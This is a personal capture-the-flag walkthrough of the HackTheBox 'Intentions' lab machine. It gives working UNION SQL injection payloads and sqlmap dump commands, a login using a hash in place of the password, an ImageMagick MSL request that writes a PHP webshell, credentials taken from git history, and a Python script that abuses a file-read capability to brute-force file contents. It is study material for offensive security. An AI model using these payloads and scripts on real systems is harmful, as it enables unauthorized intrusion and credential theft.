HTB - Intentions

──(root㉿kali)-[~]
└─# nmap -sC -A -p- -T4 10.10.11.220
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-19 13:08 EDT
Nmap scan report for 10.10.11.220
Host is up (0.045s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 47:d2:00:66:27:5e:e6:9c:80:89:03:b5:8f:9e:60:e5 (ECDSA)
|_  256 c8:d0:ac:8d:29:9b:87:40:5f:1b:b0:a4:1d:53:8f:f1 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Intentions
|_http-server-header: nginx/1.18.0 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=6/19%OT=22%CT=1%CU=43280%PV=Y%DS=2%DC=T%G=Y%TM=6673
OS:10CC%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)
OS:OPS(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53C
OS:ST11NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)
OS:ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%
OS:F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T
OS:5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=
OS:Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF
OS:=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40
OS:%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   44.40 ms 10.10.14.1
2   44.75 ms 10.10.11.220

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.17 seconds
┌──(root㉿kali)-[~]
└─# feroxbuster -u http://10.10.11.220 -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -H "Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTAuMTEuMjIwL2FwaS92MS9hdXRoL2xvZ2luIiwiaWF0IjoxNzE4ODE3MDI0LCJleHAiOjE3MTg4Mzg2MjQsIm5iZiI6MTcxODgxNzAyNCwianRpIjoicFhQcXBMQkM3TTZCNWdvSiIsInN1YiI6IjI4IiwicHJ2IjoiMjNiZDVjODk0OWY2MDBhZGIzOWU3MDFjNDAwODcyZGI3YTU5NzZmNyJ9.QRaevP49qR-qwCJtmBgqMxF0StO_7CatYUAVmwLd3F4;"

directory busting with authentication

didn't find much, so i am cheating on this one.

That said, the two cookies that get set, `XSRF-TOKEN` and `intentions_session`, match the typical format seen from the [Laravel PHP framework](https://laravel.com/). The session cookie can be `laravel_session` (like in [Extension](https://0xdf.gitlab.io/2023/03/18/htb-extension.html#tech-stack)), or renamed to match the app (like in [EarlyAccess](https://0xdf.gitlab.io/2022/02/12/htb-earlyaccess.html#tech-stack)).

![](/img/Pasted image 20240619123133.png) these includes should stick out

we start up another fuzzing attempt against /js/ directory

admin                   [Status: 200, Size: 311246, Words: 6584, Lines: 2, Duration: 54ms]
login                   [Status: 200, Size: 279176, Words: 5446, Lines: 2, Duration: 52ms]
app                     [Status: 200, Size: 433792, Words: 7736, Lines: 2, Duration: 47ms]
gallery                 [Status: 200, Size: 310841, Words: 6285, Lines: 2, Duration: 44ms]
mdb                     [Status: 200, Size: 153684, Words: 2246, Lines: 2, Duration: 114ms]
                        [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 250ms]

lets look at the admin.js

 staticClass: "card-text"
            }, [t._v("\n                Recently we've had some copyrighted images slip through onto the gallery. \n                This could turn into a big issue for us so we are putting a new process in place that all new images must go through our legal council for approval.\n                Any new images you would like to add to the gallery should be provided to legal with all relevant copyright information.\n                I've assigned Greg to setup a process for legal to transfer approved images directly to the server to avoid any confusion or mishaps.\n                This will be the only way to add images to our gallery going forward.\n            ")])])]), t._v(" "), e("div", {
                staticClass: "card"
            }, [e("div", {
                staticClass: "card-body"
            }, [e("h5", {
                staticClass: "card-title"
            }, [t._v("v2 API Update")]), t._v(" "), e("p", {
                staticClass: "card-text"
            }, [t._v("\n                Hey team, I've deployed the v2 API to production and have started using it in the admin section. \n                Let me know if you spot any bugs. \n                This will be a major security upgrade for our users, passwords no longer need to be transmitted to the server in clear text! \n                By hashing the password client side there is no risk to our users as BCrypt is basically uncrackable.\n                This should take care of the concerns raised by our users regarding our lack of HTTPS connection.\n            ")]), t._v(" "), e("p", {
                staticClass: "card-text"
            }, [t._v("\n                The v2 API also comes with some neat features we are testing that could allow users to apply cool effects to the images. I've included some examples on the image editing page, but feel free to browse all of the available effects for the module and suggest some: "), e("a", {
                attrs: {
                    rel: "noopener noreferrer nofollow",
                    href: "https://www.php.net/manual/en/class.imagick.php"
                }

user: greg By hashing the password client side there is no risk to our users as BCrypt is basically uncrackable

okay checking out the feed page, something I hadn't considered is trying to think about how this page actually gives you data. when your 'genres' in profile settings is set to an empty box, you don't actually get anything ![](/img/Pasted image 20240619124323.png)

something to think about:

On seeing the gallery, it’s worth thinking about how the page works. The most complicated part would be how to generate the “Your Feed” section. It needs to get the user’s profile (presumably from a database), use the genres string to make a database query for images, splitting it on “,” and then building that query.

It seems like a reasonable place to check for SQL injection. I’ll change the genres to include a single quote. It saves just fine:

![](/img/Pasted image 20240619124524.png)

SQLMAP union based sqli

Atleast 5 or 6 columns are returned it appears:

 {"id":1,"file":"public\/animals\/ashlee-w-wv36v9TGNBw-unsplash.jpg","genre":"animals","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/animals\/ashlee-w-wv36v9TGNBw-unsplash.jpg"},

we update our SQLi to

')/**/UNION/**/SELECT/**/1,2,3,4,5#

![](/img/Pasted image 20240619125653.png) ![](/img/Pasted image 20240619125700.png) this is exactly what we're looking for see: [[ProvingGrounds - InsanityHosting#sqli enumeration via union]] ![](/img/Pasted image 20240619130224.png)

')/**/UNION/**/SELECT/**/1,table_schema,table_name,4,5,/**/from/**/information_schema.tables/**/where/**/table_schema/**/!=/**/'information_schema'#

![](/img/Pasted image 20240619130650.png)

)/**/UNION/**/SELECT/**/1,column_name,4,5,/**/from/**/information_schema.columns/**/where/**/table/**/=/**/'users' <-- my bad payload that doesn't work 

notice you omitted the '#' as well as a column that needs to be present in order for a union attack to work 
')/**/UNION/**/SELECT/**/1,2,column_name,4,5/**/from/**/information_schema.columns/**/where/**/table_name='users'#

![](/img/Pasted image 20240619131136.png)

intentions.users -> schema.table

')/**/UNION/**/SELECT/**/1,name,password,4,5/**/from/**/intentions.users#

wow it worked first try. you are truly the best ![](/img/Pasted image 20240619131307.png)

{"id":1,"file":"steve","genre":"$2y$10$M\/g27T1kJcOpYOfPqQlI3.YfdLIwr3EWbzWOLfpoTtjpeMqpp4twa","created_at":"1970-01-01T00:00:04.000000Z","updated_at":"1970-01-01T00:00:05.000000Z","url":"\/storage\/steve"},
{"id":1,"file":"greg","genre":"$2y$10$95OR7nHSkYuFUUxsT1KS6uoQ93aufmrpknz4jwRqzIbsUpRiiyU5m","created_at":"1970-01-01T00:00:04.000000Z","updated_at":"1970-01-01T00:00:05.000000Z","url":"\/storage\/greg"},

greg is probably interesting to us

we can do all of this with sqlmap!

I can do all the steps above with `sqlmap`. I’ll need a couple things:

- Save request setting genres without any injection and only a single genre to a file, `genres.request`.
- Save a request fetching the user feed to a file, `feed.request`.
┌──(root㉿kali)-[~/box/intentions]
└─# sqlmap -r genres.request --second-req feed.request --batch --tamper=space2comment --technique=U --level 5
The `sqlmap` syntax has updated over the last five years since Nightmare. `--second-order` is deprecated in favor of `--second-req`. I’ll give it `--tamper=space2comment` (sqlmap will fail without this for the reasons seen above, but it will also suggest trying this tamper). I’ll also give it `--technique=U` to limit to union injections. It will find the union without this, but it’ll go faster since I know this is possible. I will need to increase the `--level 5`, which is the max. With all of this, it finds the injection:

provide --dbs flag:

[14:19:41] [INFO] fetching database names
available databases [2]:
[*] information_schema
[*] intentions

now go look at intentions tables:

┌──(root㉿kali)-[~/box/intentions]
└─# sqlmap -r genres.request --second-req feed.request --batch --tamper=space2comment --technique=U --level 5 -D intentions --tables 
[14:20:45] [INFO] fetching tables for database: 'intentions'
Database: intentions
[4 tables]
+------------------------+
| gallery_images         |
| migrations             |
| personal_access_tokens |
| users                  |
+------------------------+
┌──(root㉿kali)-[~/box/intentions]
└─# sqlmap -r genres.request --second-req feed.request --batch --tamper=space2comment --technique=U --level 5 -T users --dump

![](/img/Pasted image 20240619132232.png)\

{"id":1,"file":"steve","genre":"$2y$10$M\/g27T1kJcOpYOfPqQlI3.YfdLIwr3EWbzWOLfpoTtjpeMqpp4twa","created_at":"1970-01-01T00:00:04.000000Z","updated_at":"1970-01-01T00:00:05.000000Z","url":"\/storage\/steve"},{"id":1,"file":"greg","genre":"$2y$10$95OR7nHSkYuFUUxsT1KS6uoQ93aufmrpknz4jwRqzIbsUpRiiyU5m","created_at":"1970-01-01T00:00:04.000000Z","updated_at":"1970-01-01T00:00:05.000000Z","url":"\/storage\/greg"},

this appears to be a rabbithole because of bcrypt encryption so we're turning our attention to:

Hey team, I've deployed the v2 API to production and have started using it in the admin section. \n                Let me know if you spot any bugs. \n                This will be a major security upgrade for our users, passwords no longer need to be transmitted to the server in clear text! \n                By hashing the password client side there is no risk to our users as BCrypt is basically uncrackable.\n                This should take care of the concerns raised by our users regarding our lack of HTTPS connection.\n            ")]), t._v(" "), e("p", {
                staticClass: "card-text"

fire up burp login request and lets mess with the v2 api endpoint

![](/img/Pasted image 20240619132526.png) ![](/img/Pasted image 20240619132649.png) Above is payload sent to the api endpoint. if we add "hash":"dkljlasdjasdlk" in the body of the request we get a response!: ![](/img/Pasted image 20240619132731.png)

now i wonder if we can just directly input one of the other users info here and successfully login ![](/img/Pasted image 20240619132827.png) um poggers?

The easiest way to get authed in Firefox is log out, put Burp Proxy in Intercept mode, and login with steve’s email and hash. When Burp catches this request, I’ll change `v1` to `v2`, and `password` to `hash`, and send it, disabling Intercept.

Now going to `/admin` returns an admin interface (that includes the cards from the JS file):

![](/img/Pasted image 20240619133108.png)

the writeup ive been reading and the page itself heavily suggests the next rce is related to https://www.php.net/manual/en/class.imagick.php

The v2 API also comes with some neat features we are testing that could allow users to apply cool effects to the images. I've included some examples on the image editing page, but feel free to browse all of the available effects for the module and suggest some: Image Feature Reference [links to above]

using the imagick effects generates a request like this: ![](/img/Pasted image 20240619133805.png)

modifying the path to our box hosting a python server shows we can execute an SSRF vuln! ![](/img/Pasted image 20240619133829.png)

doesnt appear to be too important for now

php https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

Exploiting “new $a($b)” via Custom Classes or Autoloading

aka imagemagick demon satan poc

![](/img/Pasted image 20240619235010.png)

#### Webshell

Putting this all together, I need to pass into the `Imagick` constructor something that looks like this: `/vid:msl:/tmp/php*`. Then, I need to have attached to the request a file to be written to the temp location that is an `.msl` file, such that when ImageMagick processes the file, it writes a webshell to some location on the disk.
<?xml version="1.0" encoding="UTF-8"?> <image> <read filename="caption:&lt;?php system($_GET['cmd']); ?&gt;" /> <write filename="info:/var/www/html/intentions/storage/app/public/0xdf.php" /> </image>

https://0xdf.gitlab.io/2023/10/14/htb-intentions.html

THIS WEBSHELL IS FUCKED UP AND I DONT UNDERSTAND IT IMAGEMAGICK HAS A VULNERABILITY WHERE YOU ARE ABLE TO PASS IN WRAPPERS AND VARIABLES WHERE YOU CAN CONTROL USER INPUT INTO THE IMAGEMAGICK CLASS FUCK WITH USE OF THE IMAGEMAGICK CLASS YOU CAN CREATE A PAYLOAD USING THE VID:MSL: WRAPPERS LIBRARIES WHATEVER AND TAKE ADVANTAGE OF THE VID:/ USING EXPANDCONTENT THE CALL OF EXPANDFILENAMES MEANS THAT VID:/ SCHEME ACCEPTS MASKS AND CONSTRUCTS FILEPATHS USING THEM (*) THEREFORE USING VID: SCHEME WE CAN INCLUDE OUR TEMPORARY FILE WITH THE MSL CONTENT WITHOUT KNOWING ITS NAME

POST /api/v2/admin/image/modify?path=vid:msl:/tmp/php*&effect=abcd HTTP/1.1

Host: 10.10.11.220

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/117.0

X-XSRF-TOKEN: eyJpdiI6IjVBa2tJN0RvMUNLVlBvRzhaaFhpTWc9PSIsInZhbHVlIjoidW9hUmFITGZsWUQ5NVYyVjcvNlFkc0hQVk9qc0dFTEUrRUFkd1ZEdlFxUHZ2VmlVcitjRlZqMC9saXFCTmt2WkVvQ2Fzb1FmVXMvWkZWcG16SUh4c2hNTWU3aFpaSnEwZURXdWRuTVd4ZDBrWkIrSTVzZlJkLzBJLzJHcyszaGQiLCJtYWMiOiJlM2U1ZTFhNDgzYmQ2ZGExYjkxOWZkZjcwMGJiZTQzMGUyNzY5MmU0NDAzZDVkNjgyNTA1NTE4YWFiMzJjZjE3IiwidGFnIjoiIn0=

Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTAuMTEuMjIwL2FwaS92Mi9hdXRoL2xvZ2luIiwiaWF0IjoxNzE4ODU4NDE4LCJleHAiOjE3MTg4ODAwMTgsIm5iZiI6MTcxODg1ODQxOCwianRpIjoiVnkzNDRIRFNXbEQ3SVBSdiIsInN1YiI6IjEiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3In0.mxoPeMvNa2UFnI3B0fRHLKTYhLg9Fn2uC2a1HQAE71o; XSRF-TOKEN=eyJpdiI6IllDTVRtK2gzd3pESGVKZzIzUzgvL1E9PSIsInZhbHVlIjoiaFlNcHZqbzBhZlI4ZTJVQ0tsRTk3K0Y1Wkxqdi9NYkcrSXNHZFVoQ0wvZS9kU1F5dVdOTjFtUkxQSE5xMVRaSzFGV3Zjbk5PVHdDTlRsajlOMVEyMXY1M1JHR2NvQ2ZSR1FVd3N1ZmgrZ0dxTkZaYVNYdkdWL1lrb1dqd1RQUUciLCJtYWMiOiIyY2ViMGRkMTI3Y2I5ZGE0ZDNkYzNlNjhmNTBiYjFjZmJmYmExZTk4OGMxNzI1NDQyNjkwODY1MGM1NDhkMzE5IiwidGFnIjoiIn0%3D; intentions_session=eyJpdiI6IlZnTFB3Szc4ZW9aenhhS0xpWGZ1V0E9PSIsInZhbHVlIjoiNWRJKy9HOHFGRXZkWHYzdHlUWCt0eUtUVE1RaXNXbUhWdmVBYlUvUUFsSWNXbUZEc3VyUy9VZTNGMk40anhkZmtXRHBaNDFrYWxleWQ4QXpUeUdFcWF5NGpYWHdRajBRbWhnS3F5N0VENGNGMzEvZjhrNzc2Nm5ndm04YVBjb2oiLCJtYWMiOiIwOGVlNDZiNDM3Mjg0OGNkMDEwMzgyZThhZTA4ZTU4NzhhZTRhZDcwZWQ1MjM5YjE1YjczZmM0MGRlZWE5OTQ3IiwidGFnIjoiIn0%3D

Content-Length: 379

Connection: close

Content-Type: multipart/form-data; boundary=------------------------abcd



--------------------------abcd
Content-Disposition: form-data; name="file"; filename="test.msl"
Content-Type: application/octet-stream
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:&lt;?php system($_REQUEST['cmd']); ?&gt;" />
<write filename="info:/var/www/html/intentions/storage/app/public/0xdf.php" />
</image>
--------------------------abcd

exfiltrating Git and running a diff on commits to find interesting information

┌──(root㉿kali)-[~/box/intentions]
└─# tar xf site.tar
┌──(root㉿kali)-[~/box/intentions/.git]
└─# git log --oneline
1f29dfd (HEAD -> master) Fix webpack for production
f7c903a Test cases did not work on steve's local database, switching to user factory per his advice
36b4287 Adding test cases for the API!
d7ef022 Initial v2 commit
──(root㉿kali)-[~/box/intentions/.git]
└─# git diff d7ef022 36b4287 
diff --git a/tests/Feature/APITest.php b/tests/Feature/APITest.php

NEAT!

diff --git a/tests/Feature/Helper.php b/tests/Feature/Helper.php
new file mode 100644
index 0000000..f57e37b
--- /dev/null
+++ b/tests/Feature/Helper.php
@@ -0,0 +1,19 @@
+<?php
+
+namespace Tests\Feature;
+use Tests\TestCase;
+use App\Models\User;
+use Auth;
+class Helper extends TestCase
+{
+    public static function getToken($test, $admin = false) {
+        if($admin) {
+            $res = $test->postJson('/api/v1/auth/login', ['email' => 'greg@intentions.htb', 'password' => 'Gr3g1sTh3B3stDev3l0per!1998!']);
+            return $res->headers->get('Authorization');
+        } 
+        else {
+            $res = $test->postJson('/api/v1/auth/login', ['email' => 'greg_user@intentions.htb', 'password' => 'Gr3g1sTh3B3stDev3l0per!1998!']);
+            return $res->headers->get('Authorization');
+        }
+    }
+}

root privesc

sudo -l nothing suid bits? find / -perm -4000 -or -perm -2000 2>/dev/null nothing nonstandard

** NEW THING I HAVENT SEEN YET getcap -r / 2>/dev/null

greg@intentions:~$ getcap -r / 2>/dev/null
/usr/bin/mtr-packet cap_net_raw=ep
/usr/bin/ping cap_net_raw=ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
/opt/scanner/scanner cap_dac_read_search=ep
`/opt/scanner/scanner` is worth looking into. With `CAP_DAC_READ_SEARCH`, it can read any file on the host ([man capabilities](https://man7.org/linux/man-pages/man7/capabilities.7.html)):
CAP_DAC_READ_SEARCH • Bypass file read permission checks and directory read and execute permission checks; • invoke open_by_handle_at(2); • use the linkat(2) AT_EMPTY_PATH flag to create a link to a file referred to by a file descriptor.

man getcap ->

DESCRIPTION
       getcap displays the name and capabilities of each specified file.****

thus meaning when we run getcap -r (recursive) against / (all files) we're given capabilities of items we can run. on /opt/scanner/scanner binary we have cap_dac_read_search=ep in excess: Bypass file read permission checks and directory read and execute permission checks

https://www.youtube.com/watch?v=IkUmlFklWEs

writing a script to use the scanner file to bruteforce byte hash

greg@intentions:~$ /opt/scanner/scanner -c user.txt -s whatever -p -l 4
[DEBUG] user.txt has hash cddacbb72806c1efc74353bfc981b100
greg@intentions:~$ echo -n "0ccd" | md5sum
cddacbb72806c1efc74353bfc981b100  -
greg@intentions:~$ man md5sum
greg@intentions:~$ cat user.txt
0ccd3a40fba9adda80170e6635e9b304

trying our best to understand this:

user.txt has string:

0ccd3a40fba9adda80170e6635e9b304

md5sum will: md5sum - compute and check MD5 message digest

when we run:

greg@intentions:~$ /opt/scanner/scanner -c user.txt -s whatever -p -l 4
[DEBUG] user.txt has hash cddacbb72806c1efc74353bfc981b100

and echo the FIRST FOUR BYTES of the user.txt flag into md5sum we see that this matches:

greg@intentions:~$ echo -n "0ccd" | md5sum
cddacbb72806c1efc74353bfc981b100  -

the reason why we are only echoing the first 4 bytes of user.txt is because of the -l 4 flag given to /opt/scanner/scanner . the reason we are doing this is because /opt/scanner/scanner has the ability to read any file on the system, so we can theoretically use this to bruteforce the md5 hash of the files on the system

#!/usr/bin/env python3

import hashlib
import subprocess
import sys


def get_hash(fn, n):
    """Get the target hash for n length characters of 
    filename fn"""
    proc = subprocess.run(f"/opt/scanner/scanner -c {fn} -s whatever -p -l {n}".split(),
                stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    try:
        return proc.stdout.decode().strip().split()[-1]
    except IndexError:
        return None


def get_next_char(output, target):
    """Take the current output and figure out what the
    next character will be given the target hash"""
    for i in range(256):
        if target == hashlib.md5(output + chr(i).encode()).hexdigest():
            return chr(i).encode()


output = b""
fn = sys.argv[1]

while True:
    target = get_hash(fn, len(output) + 1)
    next_char = get_next_char(output, target)
    if next_char is None:
        break
    output += next_char
    print(next_char.decode(), end="")